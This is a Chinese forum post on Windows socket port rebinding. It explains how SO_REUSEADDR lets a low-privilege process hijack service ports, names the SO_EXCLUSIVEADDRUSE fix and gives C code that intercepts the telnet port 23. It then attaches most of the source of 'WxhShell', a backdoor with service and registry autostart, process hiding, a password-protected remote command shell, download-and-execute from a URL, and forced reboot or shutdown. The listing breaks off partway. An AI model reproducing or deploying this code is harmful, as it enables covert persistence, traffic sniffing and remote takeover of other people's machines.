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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  D I` M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xRTr<j0s  
%+>t @F,GM  
  saddr.sin_family = AF_INET; $x%3^{G  
52RFB!Z[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D4';QCwo  
_6Ex}`fyJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZH@BHg|}H  
h~\bJ*Zp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kr;7~`$[  
:#yjg1aej  
  这意味着什么?意味着可以进行如下的攻击: _1<zpHp  
 G{4~{{tI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :Fv d?[  
_PI w""ssr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'Cc(}YY0C  
K9-?7X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u0 & aw  
V={`k$p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Er 4P  
@|7Ma/8v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -Odk'{nW  
gWqO5C~h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fF~3"!1#\I  
;'\#+GZ9p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J}c`\4gD  
X?B9Z8  
  #include 9!aQ@ J^  
  #include ^:c:~F6J  
  #include jsXj9:X I  
  #include    muD7+rn?&  
  DWORD WINAPI ClientThread(LPVOID lpParam);    xr }jw  
  int main() &s]wf  
  { 3n\eCdV-b<  
  WORD wVersionRequested; b[mAkm?9+1  
  DWORD ret; )2 Omsh  
  WSADATA wsaData; ^5"2s:vP  
  BOOL val; n$z}DE5 #  
  SOCKADDR_IN saddr; C>1fL6ct  
  SOCKADDR_IN scaddr; &n5Lc`  
  int err; {nl]F  
  SOCKET s; X={n9*Sd8  
  SOCKET sc; c5jd q[0  
  int caddsize; xe4F4FC'  
  HANDLE mt; N[(ovr  
  DWORD tid;   _t9@ vVQ  
  wVersionRequested = MAKEWORD( 2, 2 ); {95z\UE}  
  err = WSAStartup( wVersionRequested, &wsaData ); hH=H/L_Z  
  if ( err != 0 ) { y 093-  
  printf("error!WSAStartup failed!\n"); - %ul9}.  
  return -1; 2N,<~L`FX'  
  } Cfz020u`g  
  saddr.sin_family = AF_INET; `0]kRA8=  
   ?<Tt1fpG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Do&em8i z  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1|+Z mo"  
  saddr.sin_port = htons(23); Ym)8L.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `L-GI{EJ  
  { C2 ~t  
  printf("error!socket failed!\n"); h^u 9W7.  
  return -1; m' LRP:9v  
  } @kq~q;F  
  val = TRUE; ~ jR:oN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ` 0YI?$G1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FG?69b>  
  { 9c /&+j  
  printf("error!setsockopt failed!\n"); \xQ10\u  
  return -1; 0K0[mC}ZwM  
  } <> jut  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~|LlT^C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |_=o0l f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q- U/JC  
D"5uN0Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?1r>t"e5  
  { q~3dbj  
  ret=GetLastError(); O<@S,/Q4  
  printf("error!bind failed!\n"); U[!x 0M  
  return -1; $@[`/Uh   
  } Jgf73IX[  
  listen(s,2); #$<7  
  while(1) r9x.c7=O  
  { r%*UU4xvB  
  caddsize = sizeof(scaddr); z}Qt6na]-  
  //接受连接请求 i[gq8%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sj)$o94=  
  if(sc!=INVALID_SOCKET) gtcU'4~  
  { `%8byy@$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7~t,Pt)  
  if(mt==NULL) sT.:"Pj$  
  { l P4A?J+Q  
  printf("Thread Creat Failed!\n"); jKOjw#N  
  break; y~&R(x~w  
  } uP'x{Pr)  
  } yJt0KUw@!  
  CloseHandle(mt); l.DC20bs  
  } 7?@s.Sz|fV  
  closesocket(s); I?) .D?o  
  WSACleanup(); C *\ =Q  
  return 0; Ab]`*h\U  
  }   wKjL}1.k  
  DWORD WINAPI ClientThread(LPVOID lpParam) {=(GY@yU/  
  { p8%/T>hK  
  SOCKET ss = (SOCKET)lpParam; W!$aK)]4u  
  SOCKET sc; tMWDKatb  
  unsigned char buf[4096]; \6UK:'5{  
  SOCKADDR_IN saddr; l8"  
  long num; NH?q/4=I0W  
  DWORD val; ?a8 o.&`l  
  DWORD ret; Kr$ w"]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CM; r\,o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G0Q8"]  
  saddr.sin_family = AF_INET; ]Zfg~K(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BE54^U  
  saddr.sin_port = htons(23); Cf-R?gn]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &^R0kCF`  
  { qO yg&]7  
  printf("error!socket failed!\n"); P= e3f(M2  
  return -1; DEGEr-  
  } ,S|v>i, @  
  val = 100; ] ~;x$Z)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Et\z^y  
  { e 1W9Z $m  
  ret = GetLastError(); AE:IXP|c  
  return -1; g~5$X{  
  } 93z oJiLRf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &E@8 z&  
  { ]fN\LY6p  
  ret = GetLastError(); 5jj<sj!S  
  return -1; dtK[H+  
  } ,W"[q~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (T1)7%Xs  
  { '\I.P  
  printf("error!socket connect failed!\n"); ,a N8`M  
  closesocket(sc); ;&|MNN^  
  closesocket(ss); gZ!vRO <%  
  return -1; ;~&F}!pQ  
  } K{]!hm,[3  
  while(1) \t LfB[S.5  
  { g\ r%A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b)+;#m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s~ZLnEb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DKd:tL24&  
  num = recv(ss,buf,4096,0); SxC   
  if(num>0) Fdgu=qMm  
  send(sc,buf,num,0); M.|@|If4?  
  else if(num==0) ?Y:>Ouv*z'  
  break; l_K=7\N  
  num = recv(sc,buf,4096,0); ;\P\0pI50  
  if(num>0) $wL zaZL|  
  send(ss,buf,num,0); k"*A@  
  else if(num==0) #G[S  
  break; J2X;=X5  
  } WoP5[.G  
  closesocket(ss); [:cy.K!Uo%  
  closesocket(sc); Wb*A};wE  
  return 0 ; 3$fzqFo  
  } 6#sd"JvtQ  
Zt3"4d4  
_*d8:|qw  
========================================================== o!q3+Pp;}  
D4e*Wwk  
下边附上一个代码,,WXhSHELL [O) Q\|k  
9M3XHj  
========================================================== ),9^hJ1+@  
9#K,@X5 j  
#include "stdafx.h" w +QXSa_D  
i:9f#  
#include <stdio.h> fi5x0El  
#include <string.h> Z=VAjJ;i[  
#include <windows.h> @" -[@  
#include <winsock2.h> K `|%-k+D  
#include <winsvc.h> UY@^KT]  
#include <urlmon.h> 9i hB;m'C)  
#t.)4$  
#pragma comment (lib, "Ws2_32.lib") JI TQ3UL:W  
#pragma comment (lib, "urlmon.lib") clE_a?  
{Kn:>l$*7  
#define MAX_USER   100 // 最大客户端连接数 xign!=  
#define BUF_SOCK   200 // sock buffer aS ]bTYJ'  
#define KEY_BUFF   255 // 输入 buffer z8HOig?  
2g>4fZ  
#define REBOOT     0   // 重启 a[ Pyxx_K  
#define SHUTDOWN   1   // 关机 E-P;3lS~  
wc&%icF*cr  
#define DEF_PORT   5000 // 监听端口 lX^yd5M&f  
]njObU)[zr  
#define REG_LEN     16   // 注册表键长度 H7&>cM  
#define SVC_LEN     80   // NT服务名长度 2=P.$Kx  
x|>N   
// 从dll定义API gIGyY7{(s8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BCH{0w^D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }.j<kmd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b`?$;5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W{pyU \  
+;Yd<~!c Z  
// wxhshell配置信息 <g/Z(<{wor  
struct WSCFG { y~,mIM$[@  
  int ws_port;         // 监听端口 YVcFCl  
  char ws_passstr[REG_LEN]; // 口令 5](-(?k}~  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6Vr:?TI7  
  char ws_regname[REG_LEN]; // 注册表键名 G/l 28yt  
  char ws_svcname[REG_LEN]; // 服务名 N~c Y~a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2~yYwX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^[]q/v'3m!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `:=af[n   
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Sz2D[@n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rCOH*m&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >A'Q9Tia;  
fk*$}f  
}; !bf8 r  
t0^chlJP$  
// default Wxhshell configuration :Q~Rb<']{x  
struct WSCFG wscfg={DEF_PORT, }vp pn=[Y  
    "xuhuanlingzhe", ii< /!B(  
    1, PVK. %y9  
    "Wxhshell", BU3VXnqT[  
    "Wxhshell", $K_G|Wyi  
            "WxhShell Service", kU*Fif  
    "Wrsky Windows CmdShell Service", tw<mZd2H  
    "Please Input Your Password: ", c34s(>AC  
  1, :Nry |  
  "http://www.wrsky.com/wxhshell.exe", N*Is_V\R  
  "Wxhshell.exe" 7/$r  
    }; F 7v 1rf]  
oP[R?zN  
// 消息定义模块 Y~FN` =O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d7g3VF<j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GJpQcse%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uT")j,tz  
char *msg_ws_ext="\n\rExit."; }f/xMp-Y  
char *msg_ws_end="\n\rQuit."; +(a}S$C  
char *msg_ws_boot="\n\rReboot..."; h-0#h/u>M  
char *msg_ws_poff="\n\rShutdown..."; UEm~5,>$0  
char *msg_ws_down="\n\rSave to "; xN^ngRg0  
?^y!}(  
char *msg_ws_err="\n\rErr!"; Qyh_o  
char *msg_ws_ok="\n\rOK!"; u 2)#Ml  
uA`EJ )d  
char ExeFile[MAX_PATH]; rMV<}C ^  
int nUser = 0; 3Ryae/Nk  
HANDLE handles[MAX_USER]; @;^7kt  
int OsIsNt; |.asg  
o@o0V  
SERVICE_STATUS       serviceStatus; 8`I/\8;H'p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `~~.0QC  
.ty^k@J|]  
// 函数声明 U};~ff+  
int Install(void); "Uk "  
int Uninstall(void); F. N4Q'2Z  
int DownloadFile(char *sURL, SOCKET wsh); ZvQ~K(3  
int Boot(int flag); Iu3*`H  
void HideProc(void); Cob<N'.  
int GetOsVer(void); #b^x!lR  
int Wxhshell(SOCKET wsl); e!eUgD  
void TalkWithClient(void *cs); zB/)_AW  
int CmdShell(SOCKET sock);  Sj,>O:p  
int StartFromService(void); HU~,_m  
int StartWxhshell(LPSTR lpCmdLine); AK$h S M  
~s$ jiA1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ( E8(np  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZUkrJ'  
PO$ OXw  
// 数据结构和表定义 .u<i<S  
SERVICE_TABLE_ENTRY DispatchTable[] = F9N/_H*+  
{ mN!5JZ' 2  
{wscfg.ws_svcname, NTServiceMain}, MfJs?N0  
{NULL, NULL} @Czj] t`  
}; GS<aXh k  
~7kIe+V  
// 自我安装 vt(A?$j|A  
int Install(void) ,JL Y oE+  
{ E#5$O2b#  
  char svExeFile[MAX_PATH]; tf:4}6P1  
  HKEY key; X+R?>xq{=h  
  strcpy(svExeFile,ExeFile); wZAY0@pA  
"s?!1v(v  
// 如果是win9x系统,修改注册表设为自启动 NWN Pq"  
if(!OsIsNt) { $y2"Q,n+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G $P|F6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nVSuvq|S  
  RegCloseKey(key); xJ0Q8A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QH) uh"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /4Df 'd  
  RegCloseKey(key); ZysZS%  
  return 0; H@j D %  
    } W-72&\7  
  } BAJEn6f?  
} *[@k=!73  
else { Pc{0Js5VzE  
o3s ME2  
// 如果是NT以上系统,安装为系统服务 ]<Ugg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q5!"tF p  
if (schSCManager!=0) qGH s2Og  
{ ,(D:cRN  
  SC_HANDLE schService = CreateService S8zc1!  
  ( \W;+@w|c  
  schSCManager, ~9tPT 0^+  
  wscfg.ws_svcname, sz7|2OV"  
  wscfg.ws_svcdisp, T({]fc!c  
  SERVICE_ALL_ACCESS, &*w)/W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7yp}*b{s  
  SERVICE_AUTO_START, e>GX]tK  
  SERVICE_ERROR_NORMAL, :(^, WOf  
  svExeFile, Sz"rp9x+  
  NULL, f0<'IgN  
  NULL, x|TLMu=3=  
  NULL,  {[i 37DN  
  NULL, fw[Z7`\Q5  
  NULL _ @U11|  
  ); 8M"0o}wx  
  if (schService!=0) >f !  
  { -0tHc=\u(  
  CloseServiceHandle(schService); [r)Hm/_=|U  
  CloseServiceHandle(schSCManager); "b#L8kN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oD@~wcMIT0  
  strcat(svExeFile,wscfg.ws_svcname); M6X`]R'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xDJs0P4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SF 7p/gG  
  RegCloseKey(key); @Yl&Jg2l'  
  return 0; :X66[V&eH  
    } u4W2 {  
  } R cz;|h8  
  CloseServiceHandle(schSCManager); K]<49`MX  
} t9!8Bh<  
} *h H\H  
,g"[7Za  
return 1; &:}{?vU  
} &B;M.sz~C4  
|3h-F5V)  
// 自我卸载 YhZmyYamE  
int Uninstall(void) \["'%8[:gR  
{ 'f?=ks<  
  HKEY key; 1R e5)Y:i  
/W vgC)  
if(!OsIsNt) { 8 <~E;:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LH" CIL2  
  RegDeleteValue(key,wscfg.ws_regname); ~zcHpxO^W  
  RegCloseKey(key); 4"=(kC~~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6dzY9   
  RegDeleteValue(key,wscfg.ws_regname); Zeeixg-1<  
  RegCloseKey(key); !^,<nP  
  return 0; pKxq\U  
  } )PU_'n=>  
} 5Y#W$Fx($R  
}  $O)fHD'  
else { o-m9}pV  
N N1(f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V1 H3}  
if (schSCManager!=0) 2<  "-  
{ &* Aems{-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7a0kat '\  
  if (schService!=0) xv+47.?N  
  { Q96"^Hd  
  if(DeleteService(schService)!=0) { y|e@zf  
  CloseServiceHandle(schService); gaIN]9wLm  
  CloseServiceHandle(schSCManager); ]{/1F:bcQ  
  return 0; { ]F };_  
  } .[qm>j,  
  CloseServiceHandle(schService); 9(CY"Tc3  
  } T+0Z2H  
  CloseServiceHandle(schSCManager); @gn}J'  
} fBi6% #  
} X<j(AAHE  
: }q~<  
return 1; _UqE -+&  
} nKO4o8js{{  
BwpSw\\?@  
// 从指定url下载文件 -VO&#Mt5u  
int DownloadFile(char *sURL, SOCKET wsh) ?_VoO  
{ 4$wn8!x2|  
  HRESULT hr; 3O'6 Ae  
char seps[]= "/"; f\{ynC2m  
char *token; 3T|xUY)G4  
char *file; $YNWT\FE  
char myURL[MAX_PATH]; k^Gf2%k  
char myFILE[MAX_PATH]; RTJ\|#w  
t.ci!#/d  
strcpy(myURL,sURL); !qQ B}sAf  
  token=strtok(myURL,seps); &.ilku/  
  while(token!=NULL) V=?qU&r<+  
  { k v>rv37u  
    file=token; xe!([^l&  
  token=strtok(NULL,seps); z"vI-~,YU  
  } ZSUbPz  
W{1"  
GetCurrentDirectory(MAX_PATH,myFILE); v95O)cC:W  
strcat(myFILE, "\\"); UrP jZ:K'  
strcat(myFILE, file); VsrYU@V  
  send(wsh,myFILE,strlen(myFILE),0); ,8Yc@P_O  
send(wsh,"...",3,0); 9r efv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KbcmK( `_  
  if(hr==S_OK) C;EC4n+s  
return 0; $ncJc  
else cu~\&3 R  
return 1; lQ]8PR t8  
K!\$MBI  
} V?0Yzg$sy  
]nM 2J}7  
// 系统电源模块 NY,ZTl_  
int Boot(int flag) d`g)(*  
{ \a}_=O  
  HANDLE hToken; U =G}@Y  
  TOKEN_PRIVILEGES tkp; ?C6DK{S(  
^F e %1Lnt  
  if(OsIsNt) { b)e';M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e0nr dM[i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )^)j=xs  
    tkp.PrivilegeCount = 1; 6 #vc"5@M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !go$J]T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); + bU*"5"  
if(flag==REBOOT) { 'WC> _ L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VxKD>:3c  
  return 0; l[P VWM  
} I/HcIBJ  
else { jMP!/t :w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uYu/0fQD  
  return 0; %!vgAH4  
} Cr  a@  
  } \d&/,?,Ey  
  else { "7. lsL5  
if(flag==REBOOT) { z5k9|.hgw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ol@ssm  
  return 0; t V:oBT*  
} $}TK ,/W  
else { it\U+xu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ydx-` yg#  
  return 0; O7x'q<PFU  
} {=q$k=ib  
} i"HENJyCb  
M< 1rQW'  
return 1; Tx|}ke~  
} jlA?JB  
l"ZfgJ}W  
// win9x进程隐藏模块 Wi5rXZS  
void HideProc(void) .vm.g=-q  
{ (0c L! N;;  
bY>JLRQJ-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O*:8gu'Y2  
  if ( hKernel != NULL ) |LwW/>I  
  { %dN',  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZnVx 'Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s.8]qQRr  
    FreeLibrary(hKernel); ;#>,eD2u  
  } f]*_]J/  
qtQB}r8  
return; r'GD  
} { yvKUTq`  
3SU:Xd(\o  
// 获取操作系统版本 yOQEF\  
int GetOsVer(void) \dG#hH4ZD  
{ M.loG4r!  
  OSVERSIONINFO winfo; >JWW2<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *@C]\)  
  GetVersionEx(&winfo); yE80*C~d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -eA3o2'  
  return 1; |K jy4.2  
  else 2^TJ_xG~  
  return 0; =64%eF  
} tI&E@  
bB#6Xx  
// 客户端句柄模块 49;2tl;F  
int Wxhshell(SOCKET wsl) )RFE< Qcj  
{ YdT-E  
  SOCKET wsh; r8uc.z2%  
  struct sockaddr_in client; t622b?w  
  DWORD myID; |}O9'fyU8  
$:aKb#l)  
  while(nUser<MAX_USER) dl%KD8  
{ R[/]iK+!&  
  int nSize=sizeof(client); R06zca  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R'.YE;leBG  
  if(wsh==INVALID_SOCKET) return 1; jxt^d  
,fQs+*j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); POouO/r$  
if(handles[nUser]==0) x9Qa.Jmj  
  closesocket(wsh); hny):59f  
else oV 7A"8L^a  
  nUser++; >h+G$&8[ y  
  } 02EbmP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -A\J:2a|  
u\]aUP e  
  return 0; )t/[z3rn  
} <> &!+|#  
~H0WHqcy  
// 关闭 socket DW,fh8w  
void CloseIt(SOCKET wsh) z3lMD'uU3  
{ .-0;:>  
closesocket(wsh); wU|Y`wJmF  
nUser--; " * Qwaq_  
ExitThread(0); v8< MAq  
} ZV=)`E`I|  
NyJ=^=F#  
// 客户端请求句柄 @$ea-fK??  
void TalkWithClient(void *cs) ~ 3HI;  
{ z [qO5z~I  
}k-rOi'jL  
  SOCKET wsh=(SOCKET)cs; SLiQHWw*J  
  char pwd[SVC_LEN]; *Y2d!9F}Sa  
  char cmd[KEY_BUFF]; :e&P's=  
char chr[1]; u}[Z=V  
int i,j; zg3q\ ~  
KLc<c1BZ  
  while (nUser < MAX_USER) { P]pVYX# m  
r|bvpZV  
if(wscfg.ws_passstr) { otsINAizgS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4eOQP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k?Bc^7l:  
  //ZeroMemory(pwd,KEY_BUFF); Dyx3N5?C  
      i=0; ON$^_l/c  
  while(i<SVC_LEN) { &f\ng{  
L%7?o:  
  // 设置超时 |VC/ (A  
  fd_set FdRead; b ~Qd9 Nf  
  struct timeval TimeOut; Tn# >"Ag  
  FD_ZERO(&FdRead); ^PCshb##  
  FD_SET(wsh,&FdRead); D:uBr|('  
  TimeOut.tv_sec=8; _a"\g9{%*  
  TimeOut.tv_usec=0; CENA!WWQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C7]K9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cu%|}xq  
[y>;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tcg sXB/t  
  pwd=chr[0]; }b#KV?xgW  
  if(chr[0]==0xd || chr[0]==0xa) { FuYV}C  
  pwd=0; Mb I';Mq  
  break; Tv;|K's'  
  } #eqy!QdePf  
  i++; k^pf)*p  
    } =9oN#4mWK  
s -Mzl?o  
  // 如果是非法用户,关闭 socket ?hu$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %h ?c  
} ]i=\5FH e  
kpkN GQ2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mn=G6h T}W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <%(nF+rQA"  
F:8cd^d~u  
while(1) { &}1PH% 6  
Xm7Nr#  
  ZeroMemory(cmd,KEY_BUFF); HDyus5g  
;b[% L&  
      // 自动支持客户端 telnet标准   ~CQYF,[Th  
  j=0; }5RCks;)*  
  while(j<KEY_BUFF) { ,R j{^-k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Mt's[8  
  cmd[j]=chr[0]; J`ia6fy.I  
  if(chr[0]==0xa || chr[0]==0xd) { /=x) 9J  
  cmd[j]=0; 1RtbQ{2F;  
  break; a& Ti44a[  
  } rZDmZm?=  
  j++; xQ `>\f  
    } t` R#pQ  
/x6,"M[97  
  // 下载文件 N U*6MT4  
  if(strstr(cmd,"http://")) { 6'e}!O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "%aJ 'l2  
  if(DownloadFile(cmd,wsh)) yIwAJl7Xf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3|Q:tt'|#  
  else "8Ud&o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,y[wS5li  
  } Q0f7gY1-%  
  else { i#t)tM"  
AepAlnI@  
    switch(cmd[0]) { 9S0I<<m  
  r*K[,  
  // 帮助 lPh>8:qFM  
  case '?': { qV$\.T>x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fA u^%jiU  
    break; -.|V S|y  
  } 'IweN  
  // 安装 :XK.A   
  case 'i': { nf5Ld"|%9  
    if(Install()) V `V Z[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0{5)Su"xr  
    else "-Lbz)k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W9~vBU  
    break; Y"&&=M#  
    } swvn*xr  
  // 卸载 V:rq}F}  
  case 'r': { **V^8'W<  
    if(Uninstall()) ">}l8MA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y K~;LV  
    else a%"My;8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G J=<~S"  
    break; @, D 3$P8}  
    } )W!8,e+%  
  // 显示 wxhshell 所在路径 8[SiIuIV  
  case 'p': { [kx_Izi/T  
    char svExeFile[MAX_PATH]; 2T &<jt  
    strcpy(svExeFile,"\n\r"); vu[+UF\G  
      strcat(svExeFile,ExeFile); 4tTK5`7N  
        send(wsh,svExeFile,strlen(svExeFile),0); /sf:.TpVh  
    break; }qlU  
    } 'dYjbQ}~;  
  // 重启 r5XG$:$8\  
  case 'b': { Gn+D%5)$I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); , ;L  
    if(Boot(REBOOT)) q;a`*gX^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8wRx Dr+  
    else { `s (A&=g\  
    closesocket(wsh); .'C$w1[w  
    ExitThread(0); &Avd  
    } W$7db%qFx  
    break; ID" '`DKxe  
    } pOlo_na}[  
  // 关机 ~9JU_R^%m  
  case 'd': { 6D,xs}j1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UH1AT#?!W  
